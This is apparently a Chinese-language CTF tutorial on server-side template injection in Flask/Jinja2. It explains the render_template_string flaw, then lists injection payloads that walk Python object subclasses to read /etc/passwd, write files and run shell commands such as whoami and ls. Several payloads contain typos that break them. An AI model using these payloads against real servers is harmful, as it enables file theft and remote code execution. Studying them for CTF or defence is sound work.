SSTI注入
又称服务器端模板注入攻击,和sql注入类似,也是用户输入而造成的安全问题。
下面是基于python脚本编写的SSTI漏洞。
模板引擎的作用:实现php代码和html代码分离。
原理:
服务器接收了用户的输入,没有对输入的代码过滤或过滤不完全,将用户输入作为web应用模板的一部分,在进行编译渲染的过程中,执行了用户输入的恶意代码,造成信息泄露等等。。。
flask中渲染的方法有两种:
render_template 渲染文件
render_template_string 渲染字符串
不正确使用render_template_string会导致SSTI
了解一下python的基本知识:
__class__ //返回类型所属的对象
__mro__ //返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析
__base__ //返回该对象所继承的基类
//base和mro都是用来寻找基类的
__subclasses__ //每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的引用的列表。
__init__ 类的初始化方法
__globals__: 对包含函数全局变量的字典的引用
攻击流程
在 CTF 中,最常见的也就是 Jinja2 的 SSTI 漏洞了。
获取基本类
1 | ''.__class__.__mro__[2] |
获取基本类(object)的子类
object.__subclasses__()
''.__class__.__mro__[2].__subclasses()
找到重载过的__init__类(在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的)
''.__class__.__mro__.__subclasses__()[xx].__init__
查看其引用_builtins_
builtins即为引用,python一旦启动,就会在程序员所写的代码没有运行就被加载到内存中,builtins不用导入,在任何模块都有,所以直接引用。
''.__class__.__mor__[2].__subclasses__()[xx].__init__.__globals__['__builtins__']
这里会返回dict类型,寻找keys中可用函数,直接调用即可,使用keys中的file以实现读取文件的功能
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('x://Flag.txt').read()
读写文件
方法一
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #将read() 修改为 write() 即为写文件
方法二
存在的子模块可以通过.index()来进行查询,如果存在的话返回索引,直接调用即可
''.__class__.__mro__[2].__subclasses__().index(file)
如返回xx
[].__class__.__base__.__subclasses__()[xx]('/etc/passwd').read() #将read() 修改为 write() 即为写文件
命令执行
利用eval进行命令执行
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
利用warnings.catch_warnings进行命令执行
[].__class__.__base__.__subclasses__().index(warning.catch_warnings)
返回a
查看linecache位置
[].__class__.base__.__subclasses__()[a].__init__.__globals__.keys.index('linecache')
返回b
查找os模块的位置
[].__class__.__base__.__subclasses__()[a].__init__.globals__['linecache'].__dict__.keys().index('os')
返回c
查找system方法的位置
[].__class__.__base__.__subclasses__()[a].__init__.__globals__['linecache'].__dict__.values()[c].__dict__.keys().index('system')
返回d
调用system方法
[].__class__.__base__.__subclasses__()[a].__init__.__globals__['linecache'].__dict__.values()[c].__dict__.values()[d]('whoami')
利用commands进行命令执行
1 | {}.__class__.__bases__[0].__subclasses__()[xx].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls') |